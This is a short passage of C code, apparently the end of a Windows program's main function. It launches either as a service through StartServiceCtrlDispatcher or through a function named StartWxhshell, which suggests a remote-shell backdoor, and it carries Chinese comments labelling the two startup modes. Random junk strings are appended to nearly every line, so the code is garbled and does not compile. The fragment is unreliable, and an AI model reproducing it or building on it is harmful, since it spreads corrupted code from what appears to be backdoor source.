if(StartFromService()) vxlOh.a|/L
// 以服务方式启动 TJ@Cjy%
StartServiceCtrlDispatcher(DispatchTable); -C7FuD[Xw
else FcbM7/
// 普通方式启动 %kI} [6J_
StartWxhshell(lpCmdLine); /M0/-pV9
B\`Aojw"E?
return 0; obClBO)@Y
}